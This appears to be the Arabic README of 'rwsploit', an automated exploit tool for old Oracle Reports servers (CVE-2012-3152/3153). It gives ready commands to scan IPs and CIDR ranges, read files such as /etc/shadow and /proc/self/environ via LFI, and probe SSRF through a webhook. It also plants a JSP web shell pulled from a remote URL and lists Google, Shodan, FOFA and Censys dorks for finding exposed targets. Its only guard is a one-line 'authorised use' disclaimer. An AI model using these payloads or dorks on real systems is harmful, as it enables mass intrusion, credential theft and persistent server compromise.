
ماسح استغلال آلي لخادم تقارير Oracle (rwservlet) — CVE-2012-3152 / CVE-2012-3153. يكتشف، يبصم، يقرأ الملفات عبر LFI، يختبر SSRF عبر webhook، ويرفع قذائف JSP. يستهدف Oracle Reports الإصدارات الأقل من 11g. للاستخدام المصرح به فقط.
⚠️ للاستخدام المأذون فقط. قم بتشغيل هذه الأداة فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المأذون غير قانوني.
ماسح استغلال مركّز لخادم Oracle Reports (rwservlet) يستهدف CVE-2012-3152 و CVE-2012-3153 — مما يؤثر على الإصدارات الأقل من 11g. يقوم بأتمتة الكشف، قراءة الملفات عبر LFI، اختبار SSRF، ورفع شيل JSP عبر IPs مفردة، نطاقات CIDR، أو قوائم أهداف. يقوم بالتصفية المسبقة الذكية عبر TCP/HTTP لتخطي المضيفين الميتين فورًا حتى لا يضيع الوقت.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
مطلوب Python 3.8+. لا توجد تبعيات أخرى.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
قم بتشغيله بدون وسائط لرؤية قائمة المساعدة الكاملة وأدلة الاستطلاع.
# كشف فقط
python3 rwsploit.py -t 10.10.10.55 -p 7777
# كشف + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# السلسلة الكاملة — LFI + SSRF + شيل
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# مسح شبكة فرعية، حفظ التفريغات
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# من ملف، بدون SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
تنسيق ملف targets.txt
# تعليق — يتم تخطيه
10.10.10.55
10.10.11.0/24
يقرأ الملفات القابلة للقراءة عمومًا عن طريق اكتشاف نظام التشغيل أولاً عبر showenv، ثم تشغيل مجموعة الحمولات المتطابقة فقط.
Linux — /etc/passwd، /etc/shadow، /etc/hosts، /etc/issue، /etc/os-release، /etc/group، /etc/crontab، /etc/timezone، /proc/version، /proc/cmdline، /proc/self/environ
Windows — win.ini، system32\drivers\etc\hosts، boot.ini، system.ini، AUTOEXEC.BAT
🚨 عدم وجود مخرجات LFI لا يعني أن الهدف آمن — يختلف تكوين Oracle وأذونات الملفات. اختبر دائمًا SSRF ورفع الشيل بشكل مستقل.
يطلق rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> ويستقصي واجهة برمجة تطبيقات webhook.site بحثًا عن رد اتصال. يطبع IP المصدر، الطريقة، وUser-Agent عند الاصطدام. يتم إنشاء رمز webhook جديد تلقائيًا عند بدء التشغيل.
--shell)PATH_TRANSLATED من showenv للحصول على مسار جذر الويب الحقيقيkxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | الوصف |
|---|---|
| CVE-2012-3152 | قراءة ملف غير مصادق عليها عبر معامل report في rwservlet |
| CVE-2012-3153 | SSRF وكتابة ملف عبر JOBTYPE=rwurl + URLPARAMETER |
يؤثر على Oracle Reports Server 6i، 9i، 10g — تم إصلاحه في 11g.
لأغراض اختبار الاختراق المأذون وتحديات CTF والبحث الأمني فقط. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
| العلامة | الوصف | الافتراضي |
|---|
-t | IP الهدف، اسم المضيف، أو CIDR. يتم قبول قيم متعددة. | — |
-f | ملف يحتوي على IP واحد أو CIDR لكل سطر. # = تعليق. | — |
-p | منفذ مخصص واحد — يتجاوز قائمة المنافذ الافتراضية. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | عدد الخيوط المتزامنة. | 15 |
-o | حفظ تفريغات LFI على القرص بهذه البادئة. مثال: -o loot → loot_<ip>_<port>_<file>.txt | stdout فقط |
--timeout | مهلة الطلب بالثواني. | 10 |
--lfi | تشغيل حمولات قراءة ملفات LFI. يتم اكتشاف نظام التشغيل أولاً لذا يتم تشغيل الحمولات ذات الصلة فقط. | معطل |
--no-ssrf | تخطي اختبار webhook SSRF. | معطل |
--shell | رفع شيل JSP. يطلب عنوان URL الذي يخدم محتوى الشيل الخاص بك. | معطل |
-h | عرض المساعدة وأدلة الاستطلاع. | — |